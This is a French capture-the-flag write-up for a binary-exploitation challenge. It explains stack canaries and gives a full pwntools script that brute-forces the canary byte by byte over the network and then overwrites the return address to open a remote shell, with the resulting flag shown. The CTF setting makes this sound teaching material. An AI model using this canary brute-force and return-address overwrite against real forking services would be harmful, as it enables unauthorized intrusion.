Description
Saurez vous exploiter ce binaire, malgré la présence du canary ?
Connectez vous au service avec la commande nc greenflag.valekoz.fr 8002
Le programme tournant sur le serveur était également fourni.
Observations
Dans un premier temps, lançons le programme, et utilisons le normalement pour savoir de quoi il s’agit.
1
2
|
$ ./vuln
[-] Usage: ./vuln <port>
|
À priori, le binaire écoute les connexions entrantes sur un port donné.
Malheureusement, le binaire ne fonctionne pas en local … (le développeur devait sûrement être très mauvais .. 😅)
1
2
|
$ ./vuln 4444
[X] Could not create socket
|
On pourra quand même utiliser le binaire pour l’analyser, mais on devra faire tout nos tests en remote.
1
2
3
4
5
6
7
|
$ nc greenflag.valekoz.fr 8002
test
test
Bye!
$ nc greenflag.valekoz.fr 8002
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
read(net): Connection reset by peer
|
Il s’agit donc visiblement d’un buffer overflow.
De plus, en analysant le binaire, on trouve une fonction shell
qui nous permettrait d’obtenir un shell sur la machine.
1
2
|
$ readelf -s vuln | grep shell
83: 08049396 47 FUNC GLOBAL DEFAULT 15 shell
|
Mais il y a tout de même une difficulté supplémentaire par rapport au premier challenge:
1
2
3
4
5
6
7
|
$ checksec vuln
[*] '/home/lucas/GreenFlag/attention_au_canard/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
Cette fois ci, il y a un canary qui risque de rendre l’exploitation plus compliquée.
Canary
Un canary est une valeur, placée dans la pile tout au début de la stack frame. Il est donc nécessaire de la réécrire si on veut modifier l’adresse de retour de la fonction.
Malheureusement, si sa valeur change, le programme s’arrête avant l’instruction ret
. On doit donc faire attention à réécrire le canary par sa valeur lors de notre exploitation, afin de ne pas le changer et de ne pas faire crash le programme avant d’avoir contrôler son flux d’exécution.
Le canary est généré aléatoirement à chaque exécution. Malgré ça, si le programme utilise la fonction fork
pour gérer les différents clients, alors le canary sera toujours le même d’une exécution à l’autre.
On peut donc tenter de brute-force le canary en tentant toutes les possibilités. En brute-forçant l’intégralité du canary en une fois, en 32 bits (donc sur 4 octets, dont l’octet de poids faible vaut toujours 0 par convention), il y aurait 0x1000000 possibilité, soit 16777216 canarys possibles différents.
Ici, la fonction utilisée pour lire l’entrée utilisateur est la fonction recv
. La chaîne reçue n’est pas null-terminated, c’est-à-dire qu’il n’y a pas d’octet nul ajouté à la fin de la chaîne de caractère. On peut donc se contenter de brute-force chaque octet un à un, ce qui fait 256 possibilités à chaque fois.
Pour automatiser le brute-force du canary, on va utiliser un script en utilisant pwntools
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
#!/bin/env python3
from pwn import *
# On change le log_level pour ne pas avoir des logs à chaque connexion au serveur.
context.log_level = 'error'
HOST = "greenflag.valekoz.fr"
PORT = 8002
def request(payload):
"""
Créé une connexion au serveur, envoie le payload et retourne la réponse du service.
"""
# On se connecte au serveur
p = remote(HOST, PORT)
# On lui envoi le payload
# Attention à ne pas utiliser `sendline` qui ajouterait un retour à la ligne à la fin du payload
p.send(payload)
# On retourne la réponse du serveur, avec un timeout de 1 seconde au cas où la connexion serait lente
return p.recvall(1)
# On utilisera l'offset trouvé durant notre phase d'analyse (non détaillée dans ce write up)
offset_canary = 8
# On créé une variable pour stocker notre canary sous forme de chaîne d'octets
# Le canary a toujours son octet de poids faible à 0
bytes_canary = b"\x00"
# On créé une variable i sur laquelle on va itérer
i = 0
# On créé un log.Progress pour voir l'évolution du brute-force du canary
context.log_level = 'info'
progress = log.progress("Canary")
context.log_level = 'error'
# En 32 bits, le canary fait 4 octets
while len(bytes_canary) != 4:
# Pour chaque valeur de i, on le converti en octet qu'on concataine avec la partie du canary déjà trouvée
tmp_canary = bytes_canary + p8(i)
# Si `Bye` fait partie de la réponse du serveur, alors le service n'a pas crash et on a donc trouvé la bonne valeur
if b"Bye" in request(b"A"*offset_canary + tmp_canary):
bytes_canary += p8(i)
# On update la valeur du log.Progress
context.log_level = 'info'
progress.status("0x%08x" % int.from_bytes(tmp_canary, 'little'))
context.log_level = 'error'
# On incrémente i, en faisant attention que sa valeur reste sur un seul octet
i = (i + 1) % 256
# On récupère le canary sous forme d'entier
canary = u32(bytes_canary)
# On update la valeur du log.Progress lorsqu'on a fini le brute-force
context.log_level = 'info'
progress.success("0x%08x" % canary)
context.log_level = 'error'
# On peut maintenant passer à l'exploitation, et réécrire la valeur de l'adresse de retour par l'adresse de la fonction `shell` trouvée lors de la phase d'analyse
# On trouve en tatonnant l'offset de l'adresse de retour
offset_eip = 24
# On récupère le binaire pour l'utiliser dans la suite de l'exploit
elf = ELF("./vuln")
# On récupère l'adresse de la fonction `shell`
shell = elf.symbols["shell"]
# On se connecte au serveur
p = remote(HOST, PORT)
# On créé notre payload final
payload = fit({
offset_canary: canary,
offset_eip: shell,
})
# On envoie le payload
p.send(payload)
# On clean la stdout
p.recv()
# On créé une session interactive pour profiter de notre shell
p.interactive()
|
Et on peut donc utiliser notre exploit:
1
2
3
4
5
6
7
8
|
$ python exploit.py
[+] Canary: 0x174e8700
$ ls
flag
vuln
vuln.c
$ cat flag
HTN{8851e42b6c127c56157b91c9b5d0eb5ad4b1c8a5ba0ead77021247d98dbcd8d9}
|
Conclusion
Ce challenge nous a permit de découvrir le brute-force de canary, qui est aujourd’hui une des bases importantes pour l’exploitation de buffer overflows sur des serveurs distants.
Le dernier challenge du ctf aborde d’autres notions importantes pour ce genre d’exploitations tels que le Return Oriented Programming (ROP) ainsi que les leaks permettant par exemple de récupérer le buildID de la libc.